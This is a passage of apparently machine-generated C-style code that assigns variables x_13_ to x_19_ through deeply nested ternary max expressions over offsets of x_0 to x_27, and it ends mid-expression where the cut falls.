x_13_ = ((((1.0 + x_3) > ((2.0 + x_4) > (10.0 + x_5)? (2.0 + x_4) : (10.0 + x_5))? (1.0 + x_3) : ((2.0 + x_4) > (10.0 + x_5)? (2.0 + x_4) : (10.0 + x_5))) > (((1.0 + x_6) > (17.0 + x_7)? (1.0 + x_6) : (17.0 + x_7)) > ((1.0 + x_11) > (18.0 + x_12)? (1.0 + x_11) : (18.0 + x_12))? ((1.0 + x_6) > (17.0 + x_7)? (1.0 + x_6) : (17.0 + x_7)) : ((1.0 + x_11) > (18.0 + x_12)? (1.0 + x_11) : (18.0 + x_12)))? ((1.0 + x_3) > ((2.0 + x_4) > (10.0 + x_5)? (2.0 + x_4) : (10.0 + x_5))? (1.0 + x_3) : ((2.0 + x_4) > (10.0 + x_5)? (2.0 + x_4) : (10.0 + x_5))) : (((1.0 + x_6) > (17.0 + x_7)? (1.0 + x_6) : (17.0 + x_7)) > ((1.0 + x_11) > (18.0 + x_12)? (1.0 + x_11) : (18.0 + x_12))? ((1.0 + x_6) > (17.0 + x_7)? (1.0 + x_6) : (17.0 + x_7)) : ((1.0 + x_11) > (18.0 + x_12)? (1.0 + x_11) : (18.0 + x_12)))) > (((9.0 + x_13) > ((17.0 + x_16) > (20.0 + x_17)? (17.0 + x_16) : (20.0 + x_17))? (9.0 + x_13) : ((17.0 + x_16) > (20.0 + x_17)? (17.0 + x_16) : (20.0 + x_17))) > (((4.0 + x_21) > (9.0 + x_22)? (4.0 + x_21) : (9.0 + x_22)) > ((4.0 + x_26) > (6.0 + x_27)? (4.0 + x_26) : (6.0 + x_27))? ((4.0 + x_21) > (9.0 + x_22)? (4.0 + x_21) : (9.0 + x_22)) : ((4.0 + x_26) > (6.0 + x_27)? (4.0 + x_26) : (6.0 + x_27)))? ((9.0 + x_13) > ((17.0 + x_16) > (20.0 + x_17)? (17.0 + x_16) : (20.0 + x_17))? (9.0 + x_13) : ((17.0 + x_16) > (20.0 + x_17)? (17.0 + x_16) : (20.0 + x_17))) : (((4.0 + x_21) > (9.0 + x_22)? (4.0 + x_21) : (9.0 + x_22)) > ((4.0 + x_26) > (6.0 + x_27)? (4.0 + x_26) : (6.0 + x_27))? ((4.0 + x_21) > (9.0 + x_22)? (4.0 + x_21) : (9.0 + x_22)) : ((4.0 + x_26) > (6.0 + x_27)? (4.0 + x_26) : (6.0 + x_27))))? (((1.0 + x_3) > ((2.0 + x_4) > (10.0 + x_5)? (2.0 + x_4) : (10.0 + x_5))? (1.0 + x_3) : ((2.0 + x_4) > (10.0 + x_5)? (2.0 + x_4) : (10.0 + x_5))) > (((1.0 + x_6) > (17.0 + x_7)? (1.0 + x_6) : (17.0 + x_7)) > ((1.0 + x_11) > (18.0 + x_12)? (1.0 + x_11) : (18.0 + x_12))? ((1.0 + x_6) > (17.0 + x_7)? (1.0 + x_6) : (17.0 + x_7)) : ((1.0 + x_11) > (18.0 + x_12)? (1.0 + x_11) : (18.0 + x_12)))? ((1.0 + x_3) > ((2.0 + x_4) > (10.0 + x_5)? (2.0 + x_4) : (10.0 + x_5))? (1.0 + x_3) : ((2.0 + x_4) > (10.0 + x_5)? (2.0 + x_4) : (10.0 + x_5))) : (((1.0 + x_6) > (17.0 + x_7)? (1.0 + x_6) : (17.0 + x_7)) > ((1.0 + x_11) > (18.0 + x_12)? (1.0 + x_11) : (18.0 + x_12))? ((1.0 + x_6) > (17.0 + x_7)? (1.0 + x_6) : (17.0 + x_7)) : ((1.0 + x_11) > (18.0 + x_12)? (1.0 + x_11) : (18.0 + x_12)))) : (((9.0 + x_13) > ((17.0 + x_16) > (20.0 + x_17)? (17.0 + x_16) : (20.0 + x_17))? (9.0 + x_13) : ((17.0 + x_16) > (20.0 + x_17)? (17.0 + x_16) : (20.0 + x_17))) > (((4.0 + x_21) > (9.0 + x_22)? (4.0 + x_21) : (9.0 + x_22)) > ((4.0 + x_26) > (6.0 + x_27)? (4.0 + x_26) : (6.0 + x_27))? ((4.0 + x_21) > (9.0 + x_22)? (4.0 + x_21) : (9.0 + x_22)) : ((4.0 + x_26) > (6.0 + x_27)? (4.0 + x_26) : (6.0 + x_27)))? ((9.0 + x_13) > ((17.0 + x_16) > (20.0 + x_17)? (17.0 + x_16) : (20.0 + x_17))? (9.0 + x_13) : ((17.0 + x_16) > (20.0 + x_17)? (17.0 + x_16) : (20.0 + x_17))) : (((4.0 + x_21) > (9.0 + x_22)? (4.0 + x_21) : (9.0 + x_22)) > ((4.0 + x_26) > (6.0 + x_27)? (4.0 + x_26) : (6.0 + x_27))? ((4.0 + x_21) > (9.0 + x_22)? (4.0 + x_21) : (9.0 + x_22)) : ((4.0 + x_26) > (6.0 + x_27)? (4.0 + x_26) : (6.0 + x_27)))));
x_14_ = ((((4.0 + x_1) > ((3.0 + x_3) > (13.0 + x_5)? (3.0 + x_3) : (13.0 + x_5))? (4.0 + x_1) : ((3.0 + x_3) > (13.0 + x_5)? (3.0 + x_3) : (13.0 + x_5))) > (((19.0 + x_7) > (16.0 + x_11)? (19.0 + x_7) : (16.0 + x_11)) > ((10.0 + x_13) > (6.0 + x_14)? (10.0 + x_13) : (6.0 + x_14))? ((19.0 + x_7) > (16.0 + x_11)? (19.0 + x_7) : (16.0 + x_11)) : ((10.0 + x_13) > (6.0 + x_14)? (10.0 + x_13) : (6.0 + x_14)))? ((4.0 + x_1) > ((3.0 + x_3) > (13.0 + x_5)? (3.0 + x_3) : (13.0 + x_5))? (4.0 + x_1) : ((3.0 + x_3) > (13.0 + x_5)? (3.0 + x_3) : (13.0 + x_5))) : (((19.0 + x_7) > (16.0 + x_11)? (19.0 + x_7) : (16.0 + x_11)) > ((10.0 + x_13) > (6.0 + x_14)? (10.0 + x_13) : (6.0 + x_14))? ((19.0 + x_7) > (16.0 + x_11)? (19.0 + x_7) : (16.0 + x_11)) : ((10.0 + x_13) > (6.0 + x_14)? (10.0 + x_13) : (6.0 + x_14)))) > (((10.0 + x_16) > ((7.0 + x_18) > (9.0 + x_21)? (7.0 + x_18) : (9.0 + x_21))? (10.0 + x_16) : ((7.0 + x_18) > (9.0 + x_21)? (7.0 + x_18) : (9.0 + x_21))) > (((1.0 + x_24) > (10.0 + x_25)? (1.0 + x_24) : (10.0 + x_25)) > ((15.0 + x_26) > (17.0 + x_27)? (15.0 + x_26) : (17.0 + x_27))? ((1.0 + x_24) > (10.0 + x_25)? (1.0 + x_24) : (10.0 + x_25)) : ((15.0 + x_26) > (17.0 + x_27)? (15.0 + x_26) : (17.0 + x_27)))? ((10.0 + x_16) > ((7.0 + x_18) > (9.0 + x_21)? (7.0 + x_18) : (9.0 + x_21))? (10.0 + x_16) : ((7.0 + x_18) > (9.0 + x_21)? (7.0 + x_18) : (9.0 + x_21))) : (((1.0 + x_24) > (10.0 + x_25)? (1.0 + x_24) : (10.0 + x_25)) > ((15.0 + x_26) > (17.0 + x_27)? (15.0 + x_26) : (17.0 + x_27))? ((1.0 + x_24) > (10.0 + x_25)? (1.0 + x_24) : (10.0 + x_25)) : ((15.0 + x_26) > (17.0 + x_27)? (15.0 + x_26) : (17.0 + x_27))))? (((4.0 + x_1) > ((3.0 + x_3) > (13.0 + x_5)? (3.0 + x_3) : (13.0 + x_5))? (4.0 + x_1) : ((3.0 + x_3) > (13.0 + x_5)? (3.0 + x_3) : (13.0 + x_5))) > (((19.0 + x_7) > (16.0 + x_11)? (19.0 + x_7) : (16.0 + x_11)) > ((10.0 + x_13) > (6.0 + x_14)? (10.0 + x_13) : (6.0 + x_14))? ((19.0 + x_7) > (16.0 + x_11)? (19.0 + x_7) : (16.0 + x_11)) : ((10.0 + x_13) > (6.0 + x_14)? (10.0 + x_13) : (6.0 + x_14)))? ((4.0 + x_1) > ((3.0 + x_3) > (13.0 + x_5)? (3.0 + x_3) : (13.0 + x_5))? (4.0 + x_1) : ((3.0 + x_3) > (13.0 + x_5)? (3.0 + x_3) : (13.0 + x_5))) : (((19.0 + x_7) > (16.0 + x_11)? (19.0 + x_7) : (16.0 + x_11)) > ((10.0 + x_13) > (6.0 + x_14)? (10.0 + x_13) : (6.0 + x_14))? ((19.0 + x_7) > (16.0 + x_11)? (19.0 + x_7) : (16.0 + x_11)) : ((10.0 + x_13) > (6.0 + x_14)? (10.0 + x_13) : (6.0 + x_14)))) : (((10.0 + x_16) > ((7.0 + x_18) > (9.0 + x_21)? (7.0 + x_18) : (9.0 + x_21))? (10.0 + x_16) : ((7.0 + x_18) > (9.0 + x_21)? (7.0 + x_18) : (9.0 + x_21))) > (((1.0 + x_24) > (10.0 + x_25)? (1.0 + x_24) : (10.0 + x_25)) > ((15.0 + x_26) > (17.0 + x_27)? (15.0 + x_26) : (17.0 + x_27))? ((1.0 + x_24) > (10.0 + x_25)? (1.0 + x_24) : (10.0 + x_25)) : ((15.0 + x_26) > (17.0 + x_27)? (15.0 + x_26) : (17.0 + x_27)))? ((10.0 + x_16) > ((7.0 + x_18) > (9.0 + x_21)? (7.0 + x_18) : (9.0 + x_21))? (10.0 + x_16) : ((7.0 + x_18) > (9.0 + x_21)? (7.0 + x_18) : (9.0 + x_21))) : (((1.0 + x_24) > (10.0 + x_25)? (1.0 + x_24) : (10.0 + x_25)) > ((15.0 + x_26) > (17.0 + x_27)? (15.0 + x_26) : (17.0 + x_27))? ((1.0 + x_24) > (10.0 + x_25)? (1.0 + x_24) : (10.0 + x_25)) : ((15.0 + x_26) > (17.0 + x_27)? (15.0 + x_26) : (17.0 + x_27)))));
x_15_ = ((((18.0 + x_1) > ((19.0 + x_5) > (20.0 + x_6)? (19.0 + x_5) : (20.0 + x_6))? (18.0 + x_1) : ((19.0 + x_5) > (20.0 + x_6)? (19.0 + x_5) : (20.0 + x_6))) > (((3.0 + x_7) > (11.0 + x_10)? (3.0 + x_7) : (11.0 + x_10)) > ((7.0 + x_12) > (9.0 + x_13)? (7.0 + x_12) : (9.0 + x_13))? ((3.0 + x_7) > (11.0 + x_10)? (3.0 + x_7) : (11.0 + x_10)) : ((7.0 + x_12) > (9.0 + x_13)? (7.0 + x_12) : (9.0 + x_13)))? ((18.0 + x_1) > ((19.0 + x_5) > (20.0 + x_6)? (19.0 + x_5) : (20.0 + x_6))? (18.0 + x_1) : ((19.0 + x_5) > (20.0 + x_6)? (19.0 + x_5) : (20.0 + x_6))) : (((3.0 + x_7) > (11.0 + x_10)? (3.0 + x_7) : (11.0 + x_10)) > ((7.0 + x_12) > (9.0 + x_13)? (7.0 + x_12) : (9.0 + x_13))? ((3.0 + x_7) > (11.0 + x_10)? (3.0 + x_7) : (11.0 + x_10)) : ((7.0 + x_12) > (9.0 + x_13)? (7.0 + x_12) : (9.0 + x_13)))) > (((8.0 + x_16) > ((8.0 + x_18) > (11.0 + x_20)? (8.0 + x_18) : (11.0 + x_20))? (8.0 + x_16) : ((8.0 + x_18) > (11.0 + x_20)? (8.0 + x_18) : (11.0 + x_20))) > (((3.0 + x_21) > (9.0 + x_23)? (3.0 + x_21) : (9.0 + x_23)) > ((4.0 + x_26) > (13.0 + x_27)? (4.0 + x_26) : (13.0 + x_27))? ((3.0 + x_21) > (9.0 + x_23)? (3.0 + x_21) : (9.0 + x_23)) : ((4.0 + x_26) > (13.0 + x_27)? (4.0 + x_26) : (13.0 + x_27)))? ((8.0 + x_16) > ((8.0 + x_18) > (11.0 + x_20)? (8.0 + x_18) : (11.0 + x_20))? (8.0 + x_16) : ((8.0 + x_18) > (11.0 + x_20)? (8.0 + x_18) : (11.0 + x_20))) : (((3.0 + x_21) > (9.0 + x_23)? (3.0 + x_21) : (9.0 + x_23)) > ((4.0 + x_26) > (13.0 + x_27)? (4.0 + x_26) : (13.0 + x_27))? ((3.0 + x_21) > (9.0 + x_23)? (3.0 + x_21) : (9.0 + x_23)) : ((4.0 + x_26) > (13.0 + x_27)? (4.0 + x_26) : (13.0 + x_27))))? (((18.0 + x_1) > ((19.0 + x_5) > (20.0 + x_6)? (19.0 + x_5) : (20.0 + x_6))? (18.0 + x_1) : ((19.0 + x_5) > (20.0 + x_6)? (19.0 + x_5) : (20.0 + x_6))) > (((3.0 + x_7) > (11.0 + x_10)? (3.0 + x_7) : (11.0 + x_10)) > ((7.0 + x_12) > (9.0 + x_13)? (7.0 + x_12) : (9.0 + x_13))? ((3.0 + x_7) > (11.0 + x_10)? (3.0 + x_7) : (11.0 + x_10)) : ((7.0 + x_12) > (9.0 + x_13)? (7.0 + x_12) : (9.0 + x_13)))? ((18.0 + x_1) > ((19.0 + x_5) > (20.0 + x_6)? (19.0 + x_5) : (20.0 + x_6))? (18.0 + x_1) : ((19.0 + x_5) > (20.0 + x_6)? (19.0 + x_5) : (20.0 + x_6))) : (((3.0 + x_7) > (11.0 + x_10)? (3.0 + x_7) : (11.0 + x_10)) > ((7.0 + x_12) > (9.0 + x_13)? (7.0 + x_12) : (9.0 + x_13))? ((3.0 + x_7) > (11.0 + x_10)? (3.0 + x_7) : (11.0 + x_10)) : ((7.0 + x_12) > (9.0 + x_13)? (7.0 + x_12) : (9.0 + x_13)))) : (((8.0 + x_16) > ((8.0 + x_18) > (11.0 + x_20)? (8.0 + x_18) : (11.0 + x_20))? (8.0 + x_16) : ((8.0 + x_18) > (11.0 + x_20)? (8.0 + x_18) : (11.0 + x_20))) > (((3.0 + x_21) > (9.0 + x_23)? (3.0 + x_21) : (9.0 + x_23)) > ((4.0 + x_26) > (13.0 + x_27)? (4.0 + x_26) : (13.0 + x_27))? ((3.0 + x_21) > (9.0 + x_23)? (3.0 + x_21) : (9.0 + x_23)) : ((4.0 + x_26) > (13.0 + x_27)? (4.0 + x_26) : (13.0 + x_27)))? ((8.0 + x_16) > ((8.0 + x_18) > (11.0 + x_20)? (8.0 + x_18) : (11.0 + x_20))? (8.0 + x_16) : ((8.0 + x_18) > (11.0 + x_20)? (8.0 + x_18) : (11.0 + x_20))) : (((3.0 + x_21) > (9.0 + x_23)? (3.0 + x_21) : (9.0 + x_23)) > ((4.0 + x_26) > (13.0 + x_27)? (4.0 + x_26) : (13.0 + x_27))? ((3.0 + x_21) > (9.0 + x_23)? (3.0 + x_21) : (9.0 + x_23)) : ((4.0 + x_26) > (13.0 + x_27)? (4.0 + x_26) : (13.0 + x_27)))));
x_16_ = ((((15.0 + x_0) > ((16.0 + x_1) > (20.0 + x_6)? (16.0 + x_1) : (20.0 + x_6))? (15.0 + x_0) : ((16.0 + x_1) > (20.0 + x_6)? (16.0 + x_1) : (20.0 + x_6))) > (((16.0 + x_8) > (1.0 + x_13)? (16.0 + x_8) : (1.0 + x_13)) > ((14.0 + x_14) > (14.0 + x_16)? (14.0 + x_14) : (14.0 + x_16))? ((16.0 + x_8) > (1.0 + x_13)? (16.0 + x_8) : (1.0 + x_13)) : ((14.0 + x_14) > (14.0 + x_16)? (14.0 + x_14) : (14.0 + x_16)))? ((15.0 + x_0) > ((16.0 + x_1) > (20.0 + x_6)? (16.0 + x_1) : (20.0 + x_6))? (15.0 + x_0) : ((16.0 + x_1) > (20.0 + x_6)? (16.0 + x_1) : (20.0 + x_6))) : (((16.0 + x_8) > (1.0 + x_13)? (16.0 + x_8) : (1.0 + x_13)) > ((14.0 + x_14) > (14.0 + x_16)? (14.0 + x_14) : (14.0 + x_16))? ((16.0 + x_8) > (1.0 + x_13)? (16.0 + x_8) : (1.0 + x_13)) : ((14.0 + x_14) > (14.0 + x_16)? (14.0 + x_14) : (14.0 + x_16)))) > (((7.0 + x_18) > ((17.0 + x_22) > (12.0 + x_23)? (17.0 + x_22) : (12.0 + x_23))? (7.0 + x_18) : ((17.0 + x_22) > (12.0 + x_23)? (17.0 + x_22) : (12.0 + x_23))) > (((19.0 + x_24) > (20.0 + x_25)? (19.0 + x_24) : (20.0 + x_25)) > ((10.0 + x_26) > (13.0 + x_27)? (10.0 + x_26) : (13.0 + x_27))? ((19.0 + x_24) > (20.0 + x_25)? (19.0 + x_24) : (20.0 + x_25)) : ((10.0 + x_26) > (13.0 + x_27)? (10.0 + x_26) : (13.0 + x_27)))? ((7.0 + x_18) > ((17.0 + x_22) > (12.0 + x_23)? (17.0 + x_22) : (12.0 + x_23))? (7.0 + x_18) : ((17.0 + x_22) > (12.0 + x_23)? (17.0 + x_22) : (12.0 + x_23))) : (((19.0 + x_24) > (20.0 + x_25)? (19.0 + x_24) : (20.0 + x_25)) > ((10.0 + x_26) > (13.0 + x_27)? (10.0 + x_26) : (13.0 + x_27))? ((19.0 + x_24) > (20.0 + x_25)? (19.0 + x_24) : (20.0 + x_25)) : ((10.0 + x_26) > (13.0 + x_27)? (10.0 + x_26) : (13.0 + x_27))))? (((15.0 + x_0) > ((16.0 + x_1) > (20.0 + x_6)? (16.0 + x_1) : (20.0 + x_6))? (15.0 + x_0) : ((16.0 + x_1) > (20.0 + x_6)? (16.0 + x_1) : (20.0 + x_6))) > (((16.0 + x_8) > (1.0 + x_13)? (16.0 + x_8) : (1.0 + x_13)) > ((14.0 + x_14) > (14.0 + x_16)? (14.0 + x_14) : (14.0 + x_16))? ((16.0 + x_8) > (1.0 + x_13)? (16.0 + x_8) : (1.0 + x_13)) : ((14.0 + x_14) > (14.0 + x_16)? (14.0 + x_14) : (14.0 + x_16)))? ((15.0 + x_0) > ((16.0 + x_1) > (20.0 + x_6)? (16.0 + x_1) : (20.0 + x_6))? (15.0 + x_0) : ((16.0 + x_1) > (20.0 + x_6)? (16.0 + x_1) : (20.0 + x_6))) : (((16.0 + x_8) > (1.0 + x_13)? (16.0 + x_8) : (1.0 + x_13)) > ((14.0 + x_14) > (14.0 + x_16)? (14.0 + x_14) : (14.0 + x_16))? ((16.0 + x_8) > (1.0 + x_13)? (16.0 + x_8) : (1.0 + x_13)) : ((14.0 + x_14) > (14.0 + x_16)? (14.0 + x_14) : (14.0 + x_16)))) : (((7.0 + x_18) > ((17.0 + x_22) > (12.0 + x_23)? (17.0 + x_22) : (12.0 + x_23))? (7.0 + x_18) : ((17.0 + x_22) > (12.0 + x_23)? (17.0 + x_22) : (12.0 + x_23))) > (((19.0 + x_24) > (20.0 + x_25)? (19.0 + x_24) : (20.0 + x_25)) > ((10.0 + x_26) > (13.0 + x_27)? (10.0 + x_26) : (13.0 + x_27))? ((19.0 + x_24) > (20.0 + x_25)? (19.0 + x_24) : (20.0 + x_25)) : ((10.0 + x_26) > (13.0 + x_27)? (10.0 + x_26) : (13.0 + x_27)))? ((7.0 + x_18) > ((17.0 + x_22) > (12.0 + x_23)? (17.0 + x_22) : (12.0 + x_23))? (7.0 + x_18) : ((17.0 + x_22) > (12.0 + x_23)? (17.0 + x_22) : (12.0 + x_23))) : (((19.0 + x_24) > (20.0 + x_25)? (19.0 + x_24) : (20.0 + x_25)) > ((10.0 + x_26) > (13.0 + x_27)? (10.0 + x_26) : (13.0 + x_27))? ((19.0 + x_24) > (20.0 + x_25)? (19.0 + x_24) : (20.0 + x_25)) : ((10.0 + x_26) > (13.0 + x_27)? (10.0 + x_26) : (13.0 + x_27)))));
x_17_ = ((((19.0 + x_0) > ((19.0 + x_1) > (11.0 + x_3)? (19.0 + x_1) : (11.0 + x_3))? (19.0 + x_0) : ((19.0 + x_1) > (11.0 + x_3)? (19.0 + x_1) : (11.0 + x_3))) > (((18.0 + x_4) > (8.0 + x_6)? (18.0 + x_4) : (8.0 + x_6)) > ((4.0 + x_8) > (11.0 + x_10)? (4.0 + x_8) : (11.0 + x_10))? ((18.0 + x_4) > (8.0 + x_6)? (18.0 + x_4) : (8.0 + x_6)) : ((4.0 + x_8) > (11.0 + x_10)? (4.0 + x_8) : (11.0 + x_10)))? ((19.0 + x_0) > ((19.0 + x_1) > (11.0 + x_3)? (19.0 + x_1) : (11.0 + x_3))? (19.0 + x_0) : ((19.0 + x_1) > (11.0 + x_3)? (19.0 + x_1) : (11.0 + x_3))) : (((18.0 + x_4) > (8.0 + x_6)? (18.0 + x_4) : (8.0 + x_6)) > ((4.0 + x_8) > (11.0 + x_10)? (4.0 + x_8) : (11.0 + x_10))? ((18.0 + x_4) > (8.0 + x_6)? (18.0 + x_4) : (8.0 + x_6)) : ((4.0 + x_8) > (11.0 + x_10)? (4.0 + x_8) : (11.0 + x_10)))) > (((9.0 + x_12) > ((2.0 + x_13) > (12.0 + x_16)? (2.0 + x_13) : (12.0 + x_16))? (9.0 + x_12) : ((2.0 + x_13) > (12.0 + x_16)? (2.0 + x_13) : (12.0 + x_16))) > (((18.0 + x_17) > (14.0 + x_20)? (18.0 + x_17) : (14.0 + x_20)) > ((10.0 + x_21) > (20.0 + x_22)? (10.0 + x_21) : (20.0 + x_22))? ((18.0 + x_17) > (14.0 + x_20)? (18.0 + x_17) : (14.0 + x_20)) : ((10.0 + x_21) > (20.0 + x_22)? (10.0 + x_21) : (20.0 + x_22)))? ((9.0 + x_12) > ((2.0 + x_13) > (12.0 + x_16)? (2.0 + x_13) : (12.0 + x_16))? (9.0 + x_12) : ((2.0 + x_13) > (12.0 + x_16)? (2.0 + x_13) : (12.0 + x_16))) : (((18.0 + x_17) > (14.0 + x_20)? (18.0 + x_17) : (14.0 + x_20)) > ((10.0 + x_21) > (20.0 + x_22)? (10.0 + x_21) : (20.0 + x_22))? ((18.0 + x_17) > (14.0 + x_20)? (18.0 + x_17) : (14.0 + x_20)) : ((10.0 + x_21) > (20.0 + x_22)? (10.0 + x_21) : (20.0 + x_22))))? (((19.0 + x_0) > ((19.0 + x_1) > (11.0 + x_3)? (19.0 + x_1) : (11.0 + x_3))? (19.0 + x_0) : ((19.0 + x_1) > (11.0 + x_3)? (19.0 + x_1) : (11.0 + x_3))) > (((18.0 + x_4) > (8.0 + x_6)? (18.0 + x_4) : (8.0 + x_6)) > ((4.0 + x_8) > (11.0 + x_10)? (4.0 + x_8) : (11.0 + x_10))? ((18.0 + x_4) > (8.0 + x_6)? (18.0 + x_4) : (8.0 + x_6)) : ((4.0 + x_8) > (11.0 + x_10)? (4.0 + x_8) : (11.0 + x_10)))? ((19.0 + x_0) > ((19.0 + x_1) > (11.0 + x_3)? (19.0 + x_1) : (11.0 + x_3))? (19.0 + x_0) : ((19.0 + x_1) > (11.0 + x_3)? (19.0 + x_1) : (11.0 + x_3))) : (((18.0 + x_4) > (8.0 + x_6)? (18.0 + x_4) : (8.0 + x_6)) > ((4.0 + x_8) > (11.0 + x_10)? (4.0 + x_8) : (11.0 + x_10))? ((18.0 + x_4) > (8.0 + x_6)? (18.0 + x_4) : (8.0 + x_6)) : ((4.0 + x_8) > (11.0 + x_10)? (4.0 + x_8) : (11.0 + x_10)))) : (((9.0 + x_12) > ((2.0 + x_13) > (12.0 + x_16)? (2.0 + x_13) : (12.0 + x_16))? (9.0 + x_12) : ((2.0 + x_13) > (12.0 + x_16)? (2.0 + x_13) : (12.0 + x_16))) > (((18.0 + x_17) > (14.0 + x_20)? (18.0 + x_17) : (14.0 + x_20)) > ((10.0 + x_21) > (20.0 + x_22)? (10.0 + x_21) : (20.0 + x_22))? ((18.0 + x_17) > (14.0 + x_20)? (18.0 + x_17) : (14.0 + x_20)) : ((10.0 + x_21) > (20.0 + x_22)? (10.0 + x_21) : (20.0 + x_22)))? ((9.0 + x_12) > ((2.0 + x_13) > (12.0 + x_16)? (2.0 + x_13) : (12.0 + x_16))? (9.0 + x_12) : ((2.0 + x_13) > (12.0 + x_16)? (2.0 + x_13) : (12.0 + x_16))) : (((18.0 + x_17) > (14.0 + x_20)? (18.0 + x_17) : (14.0 + x_20)) > ((10.0 + x_21) > (20.0 + x_22)? (10.0 + x_21) : (20.0 + x_22))? ((18.0 + x_17) > (14.0 + x_20)? (18.0 + x_17) : (14.0 + x_20)) : ((10.0 + x_21) > (20.0 + x_22)? (10.0 + x_21) : (20.0 + x_22)))));
x_18_ = ((((14.0 + x_0) > ((14.0 + x_2) > (9.0 + x_3)? (14.0 + x_2) : (9.0 + x_3))? (14.0 + x_0) : ((14.0 + x_2) > (9.0 + x_3)? (14.0 + x_2) : (9.0 + x_3))) > (((17.0 + x_6) > (18.0 + x_7)? (17.0 + x_6) : (18.0 + x_7)) > ((20.0 + x_10) > (19.0 + x_11)? (20.0 + x_10) : (19.0 + x_11))? ((17.0 + x_6) > (18.0 + x_7)? (17.0 + x_6) : (18.0 + x_7)) : ((20.0 + x_10) > (19.0 + x_11)? (20.0 + x_10) : (19.0 + x_11)))? ((14.0 + x_0) > ((14.0 + x_2) > (9.0 + x_3)? (14.0 + x_2) : (9.0 + x_3))? (14.0 + x_0) : ((14.0 + x_2) > (9.0 + x_3)? (14.0 + x_2) : (9.0 + x_3))) : (((17.0 + x_6) > (18.0 + x_7)? (17.0 + x_6) : (18.0 + x_7)) > ((20.0 + x_10) > (19.0 + x_11)? (20.0 + x_10) : (19.0 + x_11))? ((17.0 + x_6) > (18.0 + x_7)? (17.0 + x_6) : (18.0 + x_7)) : ((20.0 + x_10) > (19.0 + x_11)? (20.0 + x_10) : (19.0 + x_11)))) > (((14.0 + x_12) > ((6.0 + x_16) > (4.0 + x_19)? (6.0 + x_16) : (4.0 + x_19))? (14.0 + x_12) : ((6.0 + x_16) > (4.0 + x_19)? (6.0 + x_16) : (4.0 + x_19))) > (((8.0 + x_20) > (5.0 + x_21)? (8.0 + x_20) : (5.0 + x_21)) > ((7.0 + x_23) > (10.0 + x_24)? (7.0 + x_23) : (10.0 + x_24))? ((8.0 + x_20) > (5.0 + x_21)? (8.0 + x_20) : (5.0 + x_21)) : ((7.0 + x_23) > (10.0 + x_24)? (7.0 + x_23) : (10.0 + x_24)))? ((14.0 + x_12) > ((6.0 + x_16) > (4.0 + x_19)? (6.0 + x_16) : (4.0 + x_19))? (14.0 + x_12) : ((6.0 + x_16) > (4.0 + x_19)? (6.0 + x_16) : (4.0 + x_19))) : (((8.0 + x_20) > (5.0 + x_21)? (8.0 + x_20) : (5.0 + x_21)) > ((7.0 + x_23) > (10.0 + x_24)? (7.0 + x_23) : (10.0 + x_24))? ((8.0 + x_20) > (5.0 + x_21)? (8.0 + x_20) : (5.0 + x_21)) : ((7.0 + x_23) > (10.0 + x_24)? (7.0 + x_23) : (10.0 + x_24))))? (((14.0 + x_0) > ((14.0 + x_2) > (9.0 + x_3)? (14.0 + x_2) : (9.0 + x_3))? (14.0 + x_0) : ((14.0 + x_2) > (9.0 + x_3)? (14.0 + x_2) : (9.0 + x_3))) > (((17.0 + x_6) > (18.0 + x_7)? (17.0 + x_6) : (18.0 + x_7)) > ((20.0 + x_10) > (19.0 + x_11)? (20.0 + x_10) : (19.0 + x_11))? ((17.0 + x_6) > (18.0 + x_7)? (17.0 + x_6) : (18.0 + x_7)) : ((20.0 + x_10) > (19.0 + x_11)? (20.0 + x_10) : (19.0 + x_11)))? ((14.0 + x_0) > ((14.0 + x_2) > (9.0 + x_3)? (14.0 + x_2) : (9.0 + x_3))? (14.0 + x_0) : ((14.0 + x_2) > (9.0 + x_3)? (14.0 + x_2) : (9.0 + x_3))) : (((17.0 + x_6) > (18.0 + x_7)? (17.0 + x_6) : (18.0 + x_7)) > ((20.0 + x_10) > (19.0 + x_11)? (20.0 + x_10) : (19.0 + x_11))? ((17.0 + x_6) > (18.0 + x_7)? (17.0 + x_6) : (18.0 + x_7)) : ((20.0 + x_10) > (19.0 + x_11)? (20.0 + x_10) : (19.0 + x_11)))) : (((14.0 + x_12) > ((6.0 + x_16) > (4.0 + x_19)? (6.0 + x_16) : (4.0 + x_19))? (14.0 + x_12) : ((6.0 + x_16) > (4.0 + x_19)? (6.0 + x_16) : (4.0 + x_19))) > (((8.0 + x_20) > (5.0 + x_21)? (8.0 + x_20) : (5.0 + x_21)) > ((7.0 + x_23) > (10.0 + x_24)? (7.0 + x_23) : (10.0 + x_24))? ((8.0 + x_20) > (5.0 + x_21)? (8.0 + x_20) : (5.0 + x_21)) : ((7.0 + x_23) > (10.0 + x_24)? (7.0 + x_23) : (10.0 + x_24)))? ((14.0 + x_12) > ((6.0 + x_16) > (4.0 + x_19)? (6.0 + x_16) : (4.0 + x_19))? (14.0 + x_12) : ((6.0 + x_16) > (4.0 + x_19)? (6.0 + x_16) : (4.0 + x_19))) : (((8.0 + x_20) > (5.0 + x_21)? (8.0 + x_20) : (5.0 + x_21)) > ((7.0 + x_23) > (10.0 + x_24)? (7.0 + x_23) : (10.0 + x_24))? ((8.0 + x_20) > (5.0 + x_21)? (8.0 + x_20) : (5.0 + x_21)) : ((7.0 + x_23) > (10.0 + x_24)? (7.0 + x_23) : (10.0 + x_24)))));
x_19_ = ((((12.0 + x_2) > ((15.0 + x_3) > (12.0 + x_5)? (15.0 + x_3) : (12.0 + x_5))? (12.0 + x_2) : ((15.0 + x_3) > (12.0 + x_5)? (15.0 + x_3) : (12.0 + x_5))) > (((18.0 + x_6) > (12.0 + x_7)? (18.0 + x_6) : (12.0 + x_7)) > ((12.0 + x_8) > (14.0 + x_9)? (12.0 + x_8) : (14.0 + x_9))? ((18.0 + x_6) > (12.0 + x_7)? (18.0 + x_6) : (12.0 + x_7)) : ((12.0 + x_8) > (14.0 + x_9)? (12.0 + x_8) : (14.0 + x_9)))? ((12.0 + x_2) > ((15.0 + x_3) > (12.0 + x_5)? (15.0 + x_3) : (12.0 + x_5))? (12.0 + x_2) : ((15.0 + x_3) > (12.0 + x_5)? (15.0 + x_3) : (12.0 + x_5))) : (((18.0 + x_6) > (12.0 + x_7)? (18.0 + x_6) : (12.0 + x_7)) > ((12.0 + x_8) > (14.0 + x_9)? (12.0 + x_8) : (14.0 + x_9))? ((18.0 + x_6) > (12.0 + x_7)? (18.0 + x_6) : (12.0 + x_7)) : ((12.0 + x_8) > (14.0 + x_9)? (12.0 + x_8) : (14.0 + x_9)))) > (((1.0 + x_12) > ((11.0 + x_14) > (7.0 + x_17)? (11.0 + x_14) : (7.0 + x_17))? (1.0 + x_12) : ((11.0 + x_14) > 